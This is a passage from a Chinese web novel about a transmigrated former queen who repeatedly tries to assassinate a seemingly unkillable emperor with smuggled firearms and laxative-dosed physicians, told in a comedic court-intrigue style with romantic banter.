“腰给我晃起来!你长这么大,定然有不少不要脸勾引你的小狐狸精。不要求你做出自己的风格,模仿总会吧?你现在不把你的肌肉记忆改掉,难道要去选秀前一晚临时抱佛脚吗?那就晚了知不知道?” 秉式教育你赢了。 上官梨立刻夹起来。 这真是一件难事,她深深地意识到了自己在这一行中的不足,不由得更佩服王怀璟了,她道:“你怎么这么会勾引人?” “别把我说得也像个狐狸精!” “好吧。那你怎么这么懂狐狸精?” “我是个男人,我喜欢什么样子的女人,天生就不用别人教,行了吗?快闭嘴练你的!” 经过大狐狸精王怀璟一连七日的培训,她终于圆满出师,现在少说也是个小狐狸精。 现在王怀璟九族的问题解决了,出现了新的问题是,如何能不被皇帝慕容微看上? 他在小时候被慕容熙从台阶上推了下去,毁容还坡脚,很遗憾智力没受损,因此人特别变态好色。 其实除了琼华部分男子,没有女子愿意嫁给他。 上官梨已经有了主意。 慕容微催得紧,也不知道 他是如何身受重伤还垂涎美色的,只能说是生理奇迹。 进宫选秀的日子很快就到了,王怀璟因为善琴,又被召去奏乐。明明宫中有正经乐师,偏要糟践他一个正经臣子。 王怀璟又坐到琴师的位置上,和旁边善鼓的文臣、善琵琶的武将对视一眼,发现彼此的怨气都比鬼重。 弹吧,还能造反不成? 好歹是这个位置能看得清楚上官梨有没有在搞事。 王怀璟已经在打算,如果上官梨再在台下搞刺杀,他就扑上去挡子弹。 . 第一个上来的女子浑身颤抖。 她是被家中推出来的女儿,没什么选择,只能拼命祈祷不要被看上。 她身穿白衣,虽然帷帽遮着脸,但也能从周身气质上看出,是个清新脱俗小娘子。 慕容微的小眼睛瞪大了,那张还缠着绷带的脸上露出惊喜和垂涎的光芒。 女子听闻被选中的噩耗,呜咽着下去了。 然后是第二个、第三个。皇帝又在做三年前的旧事,要把小娘子们全纳进后宫。 在场所有人心中都在唾弃,要不要脸?还不如学学隔壁的疯皇帝,人家虽然疯且愚蠢,但好歹比较专一。 琴音欢欣鼓舞,王怀璟心中厌恶至极。 奏琵琶的武将用胳膊肘戳了戳王怀璟,道:“你有没有觉得她们很像?” “什么?”王怀璟对艺术很有追求,在他看来这些小娘子们各有各的气度,都是些可怜人。 但武将不同,他年过半百了,已经阳痿,看小娘子们都一个样。 他小声道:“她们都穿着白衣服啊。帷帽的样式也差不多。琼华最近时兴这种吗?” 白衣? 王怀璟猛地惊醒,居然漏了一个音。 上官梨不爱穿白,这个不给自己亡夫服丧的不贞寡妇,在王氏府邸中还经常鹅黄柳绿的那么穿着,还爱披着根招摇的披帛。 美名其曰,如果亡夫在她身边看,应该会喜欢看她这么穿。 而她今天上马车的时候,却穿的是一件白衣! 那是何等风流袅娜的清冷美人,王怀璟都不由得多看了几眼。 他多恨自己多看了几眼!没上前把上官梨直接打晕! 又是一个白衣女子上前,慕容微正要流口水地同样下旨把这女子也收进后宫中。 从人群中突然窜出个同样的白衣女子出来,一脚踹翻侍卫,从怀中劈手掏出那熟悉的枪/支,那熟悉的枪声立刻又响起来—— "砰!砰!砰!砰!砰!砰!砰!砰!砰!砰!" ——王怀璟当然从一眼看出来这个才是上官梨! 但如果对于不熟的人来说,这个女子,那个女子,还有刚刚过去的七八九个女子,都差不多! 上官梨腿长,跑出了残影,寻常人只能嗅到一阵香风,一声惨叫,烛台倾倒,看不清刺客何人,上官梨已经重又冲进秀女群中。 大臣们只知道是个被选中来选秀的女子! “抓!快,把刺客抓起来!” “呀!”“啊!”“救命,别过来!” 秀女们立刻训练有素地惊慌失措起来,乱成一团,故意把侍卫们挤倒,被选中的女子和没选中的女子混成一团,让场面变得愈发慌乱,她们叫道:“爹爹!娘!” “我可是高门贵女,你知道我爹爹是谁吗?动手动脚!” “你知道我娘是谁吗?就敢来拉拉扯扯我们姐妹!” 上官梨的身影迅速被秀女们掩盖。 只有王怀璟这个一直死盯着上官梨的人能发现,几个心灵手巧的秀女正迅速地把她头上的簪子摘下来,换成自己的。 寻常人再也分不清是谁开的枪,只有人群中的伸出了一只白皙修长的手,丢出了一把枪/支的零件。 金属叮叮当当坠地,台上君王血流如注。 这是一场集体谋杀! 谁愿意侍奉这样的君王?在宫中惨死的小娘子还不够多吗? 倒不如一起干一把大的。 67. 第67章 帝王梦碎十三阶 两个时辰前。 上官梨一身白衣,聘聘婷婷地迈着步子,一步三摇,三步一笑,花枝招展地不知道给谁看。 负责搜身的嬷嬷诧异地多瞥了这位贵女一眼,大秉女子大多端庄持重,鲜少见到这种狐狸精做派的。 王氏家教这么差? 宫中出过刺杀之事,查验这种现眼包查得也格外仔细,但她身上干净得很,连荷包都没带。也只好放行。 秀女们凑在一处叽叽喳喳,能从她们的肢体动作中看出每个人都很紧张。 三年前慕容微就发疯搞过一次选秀,纳了一百多个小娘子,鲜少有好下场的。 上官梨一来,立刻被秀女们抓到包围圈里,女子们穿着差不多的白衣,有人穿的是丝绸,有人穿的是棉麻,但都是大气也不敢出。 “东西带来了吗?”上官梨小声问。 她们借着彼此的遮掩,从自己的发包、袖口、靴子、乃至贴身衣物中把枪/支的零部件拿出来,递给上官梨。 上官梨手指翻飞。金属碰撞的声音是清脆的,不过短短数秒,那能眨眼间夺人性命的神兵重新又在她们眼前现形。 上官梨在杀人上的天赋简直是绝无仅有啊。 “我再问一遍。”上官梨严肃地环视她们,道,“这可是能诛九族的罪。如果有谁害怕了,我这次就不会动手。” “我赌他不敢诛我们一百多个人的九族。”一个白衣女子冷笑道,“邻国疯皇帝的例子还历历在目呢,慕容氏也想被人推翻吗?” “别提这个。”上官梨莫名其妙被戳中伤心事,委婉道,“大阜的形势是比较复杂的........” “我已经有婚约了。”另一个白衣女子战战兢兢道,“我要和青梅竹马共度一生。梨儿,你动手要快准狠些呀。如果邻国的上官皇后能早点杀了疯皇帝,她就不会和喜欢的人天人永隔了。” “也别提这个。”上官梨又被戳中伤心事,不由得为自己辩解两句,道,“上官皇后和疯皇帝也是青梅竹马。” “我家里人巴不得能攀上皇帝,他们真以为只要我吹吹枕头风,家中就能飞黄腾达。如果这么容易,大家就不需要考功名,只要考床/上/功/夫就可以了。” 又有白衣女子插嘴道:“梨儿,我们知道你是上官皇后的粉丝。虽然我们不像上官皇后那样是不世出的天才,但遇事的魄力也是不输任何人的。” “你们......好,那便按计划进行。”上官梨安心许多,又道,“如果你们能不把上官皇后当做逗号用就更好了。” 女子们咯咯地笑起来,叽叽喳喳道:“如此传奇的人物,怎么能忘掉她呢?” “我很崇拜她!” “我还是更喜欢平静一点的人生,但是我为她和邻国的亡国之君写了出戏,已经让人排演了,如果没被诛九族我请你们去看。” “那什么,我给她和疯皇帝写了话本子........” “别吃血糖啊!” “我又不是大阜人。而且上官皇后也没站出来反对啊。” “而且如果反对不就更真了吗?” 上官梨本来想反驳一下的,现在她老实了。 不论男女老少,大秉这个地方可没人是省油的灯。这里的所有人都怕死下贱没素质,坑蒙拐骗样样精通。 就是因为活着的下限实在太低了,所以每个人都能有理由刺杀皇帝! . “说吧,是你们中的谁动的手?” 女子们不过掀了掀眼皮,没把他的话放在眼里,一口咬定那人已经趁乱逃脱了。 王怀璟是大理寺卿,这年纪爬到这种级别是相当年少有为的。 但他现在真想把大理寺卿辞掉,去当个乐师算了,再也不用管这档子破事。 重重宫门再次落锁,但这次锁得不会那么久。 因为有些人确实身份贵重。 既然把她们推出来当牺牲品,当她们把士族推出来当牺牲品的时候也就无法抱怨,只能把锅往燕衔杯身上堆。 “你会还我清白的,对吗?”上官梨伏在另外一个女子怀中,拿袖子抹眼泪,夹得矫揉造作一波三折,道,“表哥,梨儿好怕哦——” 王怀璟心头火起。 这都是我的词啊!我亲自教的! 如果谁认为自己压力大,可以看一下现在的王怀璟。 他深深地吸了一口气,借着潮湿而布满木头燃烧气味的空气,狞笑道:“表妹,你别怕。会没事的。” . 这次起火的范围不大,不过烧了半座宫殿。但人仰马翻的程度有过之而无不及。 慕容熙本在好好地在王府听戏。上官梨人还没死呢,就有挺多编排她的戏码,他看得津津有味,接到消息更是乐不可支。 台上戏子倒也不必再演了,他可要回宫看一场更加精彩的戏。 但是他回来也没用,凶手在哪,根本找不到,一定又是燕衔杯收钱办事了,他有前科。 朝廷放任这样的通缉犯在外面游走,反而去抓她们这些身不由己的可怜人吗? 慕容微又被打了十枪。 刺客心黑手稳,又有神兵在手。 把人打得从两百斤重,到现在只剩一百五十斤,在龙床上发出濒死的呜咽声。 太医为他包扎完创口,扫完地上的碎肉,以煎药为由,躲在药房中互相探讨应该如何逃脱才能不陪葬。 大理寺卿这个废物正事也是一点也干不成,这辈子也就只能当个乐师了。 慕容熙摆手让他自己一边凉快去,自己坐在慕容微的床边唉声叹气,表演痕迹颇重。 “唉呀呀。”慕容熙用那把纯金做的小扇轻轻地在慕容微的伤口上拍击,哼笑道,“你现在是不是很痛呀?都怪你不知体恤子民,现在不过咎由自取。我们慕容氏一路走来多不容易?你知道搞这一出,我就又得辛苦多做多少好事,才能抚慰民心么?” “我可是皇帝——”慕容微嘶吼,剧痛把他折磨得要死,他目眦欲裂,道,“——把她们全杀了,我要她们所有人都陪葬!” 慕容熙那双狐狸一样的眼睛冷冰冰地瞥了他一眼,笑意未直达眼底,道:“那还有什么意思?我自有打算,你好好歇息吧。” “毕竟你这辈子的唯一优点就是命硬了。” . 上官梨和一群秀女在宫中滞留到深夜。 王怀璟是大理寺卿,所以结果自然是没什么结果,贵女们欢天喜地地回家了。 选秀自然也不了了之。 先别说慕容微现在处于一个死人微活态,就算他没死。谁也说不好那个女子是谁,帝王敢让随时能打爆他的脑袋的女人睡在自己身边吗? 大仇得报,上官梨睡得很香。 但第二日,她就得到了堪称晴天霹雳的消息。 “这还没死???” 上官梨都绷不住了,连早饭都不吃了,撂下筷子道:“将近二十发子/弹!我给他脊柱都要打断了,你告诉我人没死。” “今晨太医宣布,陛下乃天之子,何等魑魅魍魉都无法近身,仅需要卧床休息几日。” 王怀 璟熬了一整夜,现在眼下青黑,眼窝显得格外深邃,身上还有未干的露水。 这一晚上,他想了很多。 从王阳晖,想到王怀雪,又想到太奶奶。 尤其要感谢没见过几次面的亲姐王怀雪,感谢她送来的奶牛猫,他从来不知道没有上官梨的日子那么好过。 他在桌边坐下,拿起个荷花酥,一边咀嚼一边冷笑道:“谁知道怎么没死呢?要不你去亲口问问他?” 慕容轻把荷花酥端走,放在上官梨手边,这玩意做起来不容易。 她也想起一事,道:“大人,我还跟在慕容华身边做阿轻的时候,慕容熙才五岁,就那么点大,趁着侍卫不注意,把十岁的慕容微从台阶上推了下去,差点摔死。” “继位的怎么还是慕容微,不是慕容熙?” 上官梨把手/枪拆了一遍,结构没错啊。 她匪夷所思道:“为什么?总不能因为他命硬吧!” 王怀璟只能喝茶,冷笑道:“正是!” “除了你,你知道慕容微碰到多少次刺杀吗?” 上官梨摇头。 王怀璟比了个三。 上官梨往多了猜,道:“十三次?” “三十次!”王怀璟冷笑。 其中有十三次是亲弟慕容熙贡献的。 大秉都这幅德行了,最强的人才能当皇帝。在这条权利之路上,死掉就是自己没本事。 都是皇子,慕容熙从小就一心想着做掉慕容微,自己当太子。 他试了十三次。 从五岁到十八岁,他每年都会想尽办法把慕容微从高处推下去一次。 一开始只是宫道的长阶,这恶童把哥哥推下去,咯咯笑着去缠着母亲玩耍。 结果就是等现在的皇太后,当时的贵妃发现的时候,慕容微已经在冰冷的雨水中泡了三个时辰,快泡浮囊了。 这次的伤最重,伤口感染反复未好,慕容微脸上的疤痕和跛脚就是那次留下的。 但或许能做太子的人就是有点天命在身,慕容微自从死里逃生之后,就彰显了他与众不同的特质。 命硬。 慕容熙被重罚,关了半年的小黑屋。 出来之后养精蓄锐,寻机又把慕容微从台阶上推下去了一次。 这次皇太后比较有准备,发现得比较快。慕容微只是修养了一个月,也怕了这个从小就坏的流油的弟弟,出入都侍卫成群。 慕容熙越长越大,手段也愈发地别出心裁,但慕容微就是赖着不死,受多重的伤也硬撑过来了。 终于在慕容熙十八岁的时候,老皇帝驾崩,皇位名正言顺地传给了嫡长子慕容微。 慕容熙也因为多次手足相残被母亲哥哥厌弃,现在连自己的封地都没有,天天给朝廷打白工。 而剩下的十七次,就是发生在慕容微皇帝期间的事。 大秉有帮人自称侠客,整日和朝廷对着干,把慕容微当副本刷。 最接近死亡的一次,是他们的头领燕衔杯把慕容微的脑袋都割下来一半。 据说亲眼看着他断气了才走的。但燕衔杯刚走,就从天上降下来一束光,照在慕容微脖子上的创口上。 那创口居然肉眼可见地自愈了。有个声音降下旨意,称慕容微是天赐的帝王,在九十九岁之时才会功德圆满,回归天庭。 众人立刻跪拜在地,口称神迹。 别管为什么,这样都不死,那就该他当皇帝。 上官梨表情空白地听完,只有一个感想: ????? 68. 第68章 明月皎皎见我心 上官梨是纯粹的唯物主义战士,宁愿相信是自己的枪打偏了位置,燕衔杯的剑划错了方向,慕容微走了狗运,也绝不相信世界上还有这样的人体奇迹。 毕竟,这怎么可能呢? 这已经不能算是人类了,上官梨一般不把僵尸称作人。 除非真的有华佗再世,能活死人肉白骨。 不对,好像真有啊? 上官梨和慕容轻对视一眼,迟疑道:“谢厌?” . 忘忧药馆还是一样的人群熙攘。 上官梨在药馆门外打着伞蹲点,从濛濛细雨等到瓢泼大雨,直到最后一盏灯火都要熄了,却没见谢厌的影子。 她这样的美人就算看不得面容,只是立在那里,也是十分引人注目的。 孙文进瞟了人家一眼又一眼,忍不住提着盏灯笼上前,道:“小姐,你在等谁?” “谢厌不在吗?”上官梨的语气有点失落。 “他家中有人过世,忙着操办丧事,最近都不在。” 孙文进在心中怒骂谢厌这小子艳福不浅,凭什么他就有美人等,道:“如果你有急事,我可代为转告。” 上官梨闪电般拨了下帷幕,上下打量了他一眼。 孙文进声如其人,十分硬朗粗犷,她忍不住怀疑道:“你也是大夫?” 她动作太快,只能让人看到她下巴上那一点微不可查的小痣,简直有让人入魔的魅力。 孙文进呆住了,半晌才忙不迭点头,道:“我爹可是太医院的院判,大秉医术最精之人,连谢厌也是我爹教出来的。若你家中有事,尽可以来找我!” 上官梨的运气真不错。 她也知道不能直接说“是不是你们把皇帝的伤治好了,下次不许治了,我好不容易杀的”。 斟酌半晌,计上心头。 她夹起来了,道:“我与姐妹相依为命,是谢厌帮我治好了她。我一直想当面感谢他,可惜无果。但大人您也是一表人才,何不请我去你家中坐坐呢?” 对于有色心的人,这是个天大的好消息。 难道美人还能害人不成?害人也认了。 孙文进喜滋滋道:“自无不可。” 在孙院判家中走了一遭,上官梨旁敲侧击打听了一番太医院的琐事,不顾孙文进的挽留,饮了盏茶便告辞。 又一个月过去,慕容微宣布伤势已复,不日将前往泰山封禅,以感天恩。 上官梨就知道她等待的机会又来了。 当晚,上官梨抹黑爬进孙院判家中,在心中对德高望重的孙院判说了声抱歉。 大阜国破,血海深仇,不得不报啊。 时至今日,她在梦中还能听见城破之时百姓的恸哭。 别怪她不择手段,这是必要的牺牲。 第二日,慕容微在泰山遇刺。 好好的山路被埋了炸药,慕容微连着马儿一起被炸飞,从高处滚落数十丈远,差点儿摔成一滩肉饼。 好从小就被慕容熙摔打惯了,比较经验丰富。太医也随队而行,但是—— “腹泻?”慕容熙本来在戳地上不断痛哭流涕的慕容微,闻言直起身诧异道,“这么严重么?所有的太医都没办法起床?” 王怀璟十分地抬不起头,上官梨这个不要脸的女人,怎么想出来的这种损招? 他不得不绷住,道:“孙老院判今晨起便告假,说是老爷子有点虚脱。其他太医也是差不多的症状.......我已派人去问,连忘忧药馆的大夫都没能逃过毒手。王爷,您别笑了,现在怎么办啊?!” “哈哈哈哈哈哈!”慕容熙笑得浑身颤抖,道,“我真是佩服她!” 大阜国破,人祸有,天灾亦有。 她不能来到大秉这个无下限的地方,就自己也成为大秉的人祸。 报仇也是讲究手段的。 上官梨躺在床板上,听着窗外雨声淅淅沥沥,打了个哈欠。 她熬了个通宵给所有太医下泻药,半夜被人家养的狗狂追十里,好不容易才甩掉。 现在浑身酸痛,乏得厉害。 这下慕容微没有及时治疗,她不信还能活。 上官梨觉得自己简直是太天才了,得意地入睡。 希望一觉醒来,能有好消息。 上官梨补觉补到了傍晚,大秉难得放晴,火烧云红的犹如天空在流血一般。 她已经习惯了一觉醒来看到王怀璟,眼巴巴地看着他,道:“死了吗?” 王怀璟的脸色比窗外的云彩还红,那大概不是因为心动。 他在上官梨的桌前痛饮冷茶,茶杯啪一声撞在桌上,王怀璟冷笑道:“当然没有!” “这不符合常理。” 上官梨抓着被子坐起身,沉吟道。 她确实穿肚兜,后背的大片肌肤裸露在外,何等的潋滟春光。 王怀璟不小心瞥了一眼,一点感觉都没有,因为正常人是不会对九族团灭发动机产生别样的感情的。 “事不过三,我已经刺杀了他三次。” 上官梨的脑子转得很快,有了很多大胆的猜想,道:“或许,鸩鬼在他身上复生了?又或许,那根本不是慕容微,而是他的替身之类的?” “哦。”王怀璟冷冰冰道,“可以别把你的邪恶计划讲给我听吗?我不想知道。” “你在朝中做官,难道就没有感觉皇帝突然变了一个人?” “没有。” 上官梨不信,道:“你仔细想想。” 王怀璟不知道自己为什么要仔细帮她,道:“我真的不想被诛九族。你可以背着我一点吗?” “你想。”上官梨注视着他的眼睛,认真道,“你如果不想,就会在一开始就及时止损,把我交给慕容微。” “我不想,你别说话这么不吉利——我上了你的贼船,下不来!” “此身姓上官,又不是真的姓王。你现在也可以说自己上当受骗,把一切都推到我身上,我上官梨行得端坐得正,绝对不会诬陷人的。” 你一个邻国的刺客在这里说什么呢? 王怀璟简直没办法跟她沟通,拂袖而去,只长叹道:“你不懂!” . 慕容轻端着月饼走进来,坐在床边,把月饼塞进上官梨嘴里一个,自己吃一个。 她摸了摸上官梨绸缎般的长发,柔声道:“又是一年生辰。大人想要什么?哪怕是天上的星星——” “你也会为我摘下来?”上官梨咔咔啃月饼,五仁的,超级喜欢。 她一边吃一边疯狂掉渣,高门贵女是不会有这种吃相的。 “——你也可以想想。”慕容轻面无表情地抹去她嘴角残渣,道。 “唉,好无情!”上官梨把脑袋放在慕容轻的肩膀上蹭了蹭,点起了菜,道:“我好想有一个身居高位、经常能得见圣颜的奸细哦。神仙啊,请实现信女的愿望!” 慕容轻因为年幼时营养不良的原因,长得很矮小。上官梨这么大个人了,没骨头一样,贴在她身上,很重。 她用力推开,道:“大人呐,您可以动动脑子吗?策反一个男人,不是很容易吗?” 上官梨就是太会动脑子了,普通人穿越可手搓不出这种武/器,她道:“用枪/械指着他脑袋?” “用情谊折磨他的心!”慕容轻面无表情道,“天哪,好想念慕容华,她在的时候我没有这么辛苦。” “想念慕容华可以直接说哦。”上官梨嚼着月饼,今夜难得的有月亮,她道,“我不怪她。人就是会为了回到故乡做任何事。” “我不想。”慕容轻叹道,“大人呐,你不懂,这里也是我的故土啊。” “不过你刚刚说的,我跟王怀璟能有什么情谊?”上官梨想了半天,想不出来能打什么感情牌,王怀璟现在不打她就已经是忍人的体现。 只好直接问了。 “........” 慕容轻一腔复杂心绪又变回心累,道:“大人呐,您好歹也结过两次亲,不要求您有自己的手段,至少学会模仿好吗?” “哦。”上官梨又重新有了自信,她很擅长这个。 . 夜半,三更,今夜无雨,水珠从青翠的叶片间滑落,滴落间倒映出空中皎洁而空茫的月亮。 铮然琴音骤然炸响。 如金乌惊叫,山川崩碎,江河翻覆;行到幽深处,则是如弦断帛裂,粉碎羽衣,女子高声笑。原我非织女,诉不尽柔肠哀情;不过平凡人,对错是非可要辨个清楚! 水旁的小亭,慕容轻蹲在一边,痛苦地捂住脸。 不是模仿这个! 上官梨喜欢的是摇滚乐,没什么艺术细胞,不会奏古琴。 但她会模仿,手指灵活,并且记忆力超群。 《织女状》不过三千个音,很简单嘛! 慕容轻蹲在地上冷静了一会儿,转而捂住耳朵。 好难听啊,怎么没个人来阻止一下她? 需知王氏府邸中会发疯在半夜奏琴的只有王怀璟一人,而他是嫡子,将来会继承侯府的。 而且一般都弹得很好听,王氏子都习惯了。这次水平有点参差,他们也不敢说,生怕惹怒了他,只能默默在耳朵里塞上棉花。 能为他发声的,居然只剩下他自己了。 一只格外修长好看的手从后面按住琴弦,王怀璟眼下还带着点青黑,没有束发,一缕乱发从额前垂下来。 他道:“你弹错了一千多个音。” “公子可解我曲中之意?” 上官梨的指尖在月色下显得指尖有些不自然的深。 因为那不是乐师的手,没有因为弹奏而磨出的薄茧。她是第一次弹,指尖通红而滚烫。 王怀璟不让她弹出声音了,她仍然笑嘻嘻地轻轻拨弄着琴弦。 亡国皇后的曲中之意着实太过明朗。 她弹奏的时候低垂着眉眼,漂亮到凌厉的眉眼都温柔。 这是个敏感话题。 但月色甚好,在温柔如水的夜色中,仿佛能将一切秘密和盘托出。 王怀璟还是道:“你想家了?” “不。”上官梨轻轻地笑了笑,道,“我早就不再想了。” “和那些事情无关。我想的是你的事。” “我?不要故意讨好我了。没有用。” “我是个门外汉,自然拼尽全力要想着你之前是怎么弹奏的,才能弹得下去。别的事情我怎么有心思去想?” “.........” “哪怕是你这样善琴的人也会先入为主。我这样的人,无法通过你的琴音知道你的心绪,也是当然的事。” 上官梨只抬起头看着月亮,身上有种令人难过的气质。 她才是那个被困于凡尘的神女,看着王怀璟这个凡人的目光简直怜悯,认真,更是充满了可恶的不解。神女道: “告诉我吧?你的曲中之意。 69. 第69章 身在营营心在野 “你一定想从我这个不自量力的皇后身上,获得什么东西吧。是什么?” “我.......” 这是个决不能说的秘密。 不能把自己的内心向这等坏女子袒露,她一定会利用你,把你变成她的奴隶。 身份不同,立场不同,一定不能说哦。 一旦说出来,会惹出弥天大祸。 上官梨的目光温柔而澄澈,对她诉说和对月亮自言自语又有什么分别呢? 王怀璟不由自主地道:“我想离开这里。” “不再入朝为官,不再是侯府嫡子。闲云野鹤,躬耕田野,从此只当我是我。” “啊?”上官梨没想到会是这种原因,诧异道,“逃跑者鞭三十,王氏家法中写的。” “一般来说你这个时候不应该在泼冷水,应该在蛊惑人心。” 王怀璟惊觉失言,破罐破摔道:“而且不被抓回来不就好了?” “唉唉唉你别走,是我失言。”上官梨连忙抓住他,道,“这点小事我可以帮你。” “你帮个鬼。我求你别把我家害死了。”王怀璟想甩开她的手,上官梨劲太大,一时半会甩不开。 “我只要慕容氏与谢氏血债血偿。等他们两家败亡,王氏渔翁得利。你推出个王氏子来坐这皇位不就好了?王氏百年不衰,你可功成身退,而我只要被大秉吃掉的那些土地。” 王怀璟的动作僵住。 这确实是他之前心中隐秘所想。 正天人交战间,却听上官梨又道:“再不济,我暴露身死。在王氏被诛九族之前,我在大阜还有些人脉,至少能把你劫走,也是一样的结果,就是你每年清明要多烧点纸了。” “.................”王怀璟拂袖就走。 “哎呀,怎么走了?慕容微怎么杀都杀不死,我真的很需要一个人来帮我探听虚实。若是你要我帮你做什么,都可以谈的。” “求你,把嘴巴闭上。” “那怎么谈?” “.........” 上官梨不依不饶,跟在他身后,这情商欠奉的女子不知道男子沉默就是答应了吗? 王怀璟只好道: “如果慕容微一直在用替身见人,自己藏于深宫,那没人知道他现在什么模样。除了一个人。” 上官梨眼前一亮,道:“你有办法能见到皇太后?” . 慕容微残暴。王氏相比谢氏,还是比较爱惜羽毛的,没向后宫中塞人。 但上一辈塞了。 王太妃在深宫中无趣,偶尔会接几个家中的子女小辈来宫中坐坐闲聊。 老皇帝都死了,后妃们再也没有了升职的困扰,彼此的关系也变得融洽许多。 这位皇太后到了这步田地,人缘还是黑红参半,可想而知是何等张扬之人。 王太妃迈步穿过长长的宫道,几个俊俏的男宠原本在边打扫,边嬉笑打闹,见了王太妃,霎时立得花枝招展地问好。 王太妃翻了个白眼。身后高挑的女子似是没见过这种场面,踉跄了下。 几个男宠实在是太有眼力见了,立刻要来扶。 王太妃喝止了他们,摆手道:“此乃我家中贵女,不是你们这种贱人可以碰的。还不快去通报一声,我有要事找她。” 男宠委委屈屈地应下了,又道:“太妃,太后晨起做了个好梦,十分高兴,便饮酒取乐至今,叫人不得打扰。” 王太妃早习惯了,道:“你便只管去通报便好。” 慕容华立在长廊中,乱风吹过,雨丝越过长廊,打在她的手背上。 她立刻缩回手,像是被烙铁烫了。 她已经不需要再作侍女打扮,有点焦虑地拨弄着手腕上的金饰,把娇嫩的金色花叶挤变了形。 旁边放着一个精美的食盒,里面的点心受了潮气,变得绵软而难以入口。 “母亲还是不愿意见我吗?” 皇太后的男宠也十分为难,立在旁边讨好道:“长公主,请回吧,太后说不定明日便心情好了........” “待会你见了皇太后,一句话也不要与她说。” 王太妃从长廊上大步走过,看也未看慕容华,对着身后的女子叮嘱道:“这女人从以前就疯得厉害,现在纵情声色还整日酗酒,我认为她脑子有点不太清醒了........” “啊。” 慕容华这种只身在外漂泊数十年,还立了大功的女子,如果她不死磕在皇太后身上,日子会过得很好。 王太妃没有介入别人家务事的爱好,也就忽略了慕容华发出的小小声响,只以为她是在小小不平。 高挑女子按了按自己的帷帽,乱风吹拂,那雪白的纱帘被吹起一角,露出下巴上的小痣。 惊鸿一瞥,上官梨看见了她,但应该是没看清她,不然她为何如此平静? 慕容华木愣愣地看着那个女子,哪怕她刻意改了步伐,换了衣着,遮着面容,她也绝不可能认错! 我可爱的、任性的、弃我而去的皇后娘娘。 你为何出现在这里? 慕容华想叫住她,但她已经跟在王太妃身后,拨开珠帘,进了太后的寝宫。 而她不被母亲允许进入。 “那是谁?”慕容华听见自己问。 男宠做出苦恼的动作,这动作能展现出他的胸肌和曲线,道:“王太妃带来的,应该是她家中的小辈来见见世面的吧。我听着是叫梨儿?那大概是王梨儿?” 梨儿,礼儿,上官梨,礼诗涵。这种毫不遮掩的假名,也只有一根筋的礼诗涵会用。 慕容华反复咀嚼着这个名字,心中怀着点莫名的希冀。 但一个声音在她背后响起,带着点玩世不恭的笑意,她全身的血液几乎像冻住了一般。 慕容熙的指尖摩挲着那纯金的小扇,目光仍放在虚掩的房门之后。 他把胳膊搭在姐姐的肩膀上,若有所思地道:“母亲都说了不愿意见你,你还在这里呆愣着干嘛呢,华姐姐?” . 哗啦,上官梨不小心踢到了一个小小的酒坛,酒液迸溅,香醇的美酒沾湿了她的袍角和绣鞋。 宫殿中本就酒气浓重,处处奢靡,现在更是有如在美酒中沐浴一般。 皇太后寝宫竟然是这等的淫/靡而堕/落,上官梨不由得刷新了认知。 半靠在金丝楠木软床上的是个华服女子,姿态狂放而不羁,两鬓已斑白。 她自酌自饮,酒坛铺了一地。 今日可才晌午啊,她已经醉到连人都看不清了,凤眼微眯,半晌才认出来人,笑道:“呦,清儿,今日怎么如此好心,来陪我饮酒?” “谁来陪你了?”王太妃一脸嫌恶,狠狠道,“你怎么还没喝死?” “多谢你的祝福。”太后又仰头干了一盅,把干干净净的杯底向她展示,大笑道,“今宵有酒,今宵醉。干嘛要那么清醒?无趣,无聊!” 啪,酒杯从她手中滑落,摔碎在地。王太妃终于不能忍受她了,道: “现在陛下三番四次遇刺,你一个做母亲的,还这番姿态,不觉得丢人吗?” 太后醉醺醺的,道:“啥?儿子?我还有儿子呢?几岁了?抱来给我玩玩来,嘿嘿。” 王太妃:“..........” 上官梨:“..........” 太后年轻时倾国倾城之貌,飞扬跋扈得很。 而王太妃年轻时受气,年老时还受气,对着太后的耳朵怒道:“我问陛下几次三番起死回生究竟是怎么回事!” “哦。你这么在乎这个干什么,儿孙自有儿孙福,儿孙死了我还能享福。难不成是你干的?” 王太妃一噎,太后哪里醉了,这不是清醒得很吗? 她不说话,太后一讪,又从桌上拿起两只酒杯,斟满了,道:“想也知道不是你,你从以前就没那个胆子。那就是你身后这个小娘子干的?” “别发酒疯了。”王太妃轻嗤道,“说真的,关于陛下这事儿传得满城风雨,现在已经有了几十本话本子,最畅销的那 个把陛下写成了个吸人阳气的妖怪,把你写成吸人精气的妖精。你到底管不管?还是说你连我也瞒?” “想知道呀?”太后嘻嘻笑着,自己端起一只酒杯,把另一只放在王太妃面前,轻佻道,“行啊,喝吧。” “我的秘密只告诉三个人,情人,死人,还有,讨我欢心的人。” 太后又仰头闷了一杯,自言自语道:“嘛,不过这三者没有区别就是了。” 这是何等的侮辱,十几年前被当时的皇后折辱,她有老皇帝撑腰,而王太妃只能跪在她的床前哭泣认错,记忆仍新。 这女人简直是恶魔,从来没有放过她。 王太妃勃然大怒,一拍桌子,道:“来仪,你别太过分!” “你来求我,不就是送上门的玩具吗?”太后咯咯笑着,道,“我话放在这里,神仙来了都不好使。” 上官梨看看这个,又看看那个,意识到王太妃大约是对喝酒有点心理阴影。 再一想,她爸爸也提到过不喜欢喝酒应酬。上官梨现在很有眼力见,当即伸手夺过桌上酒杯,仰头一饮而尽。 “我是王氏女,我来替大人饮。”上官梨咂摸咂摸嘴。 “梨儿!”王太妃又大怒,这酒接了就是自甘下贱,哪怕是远房血脉,也不能在太后面前表现得如此谄媚,当即阴阳道,“你不觉得这酒液酸苦么?” “没有啊,”上官梨舔了舔嘴唇,陈酿的酒精味道不重,她道,“甜甜的,有点梅子味道,像果茶呢。” “?”王太妃宫斗了一辈子,一时之间都分不清这是不是串的。 “哈哈哈!”太后笑得花枝乱颤,挥手将上官梨叫上前来,狐狸般的眼睛笑成两条弯弯的弧。 她拾起另一个酒坛,又拽来一个杯子,把三个酒杯都斟满了,道:“再尝尝看?” 上官梨又尝了尝,桑葚味的果酒,酒精味淡淡的,里面还有果肉,稍不注意就喝完了。 这太后根本没在认真酗酒!只是在酗小甜水吧! “好喝么?”太后笑道,“这算不算得上世上最棒的佳酿?” 上官梨持反对意见,认真道,“如果用芒果酿酒,一定会更加好喝。” 杨枝甘露就是世界上最完美的饮品。 “那是什么?”太后艳丽的口脂被杯壁略略沾走了些,眼神虚浮不聚焦,道,“世上还能有我未知之物,看来我也老啦,真是一件令人伤心之事——饮啊,怎么不饮?为了庆祝大秉最美的女子光阴不再,是该多饮一些!” 上官梨配合地跟她干杯。 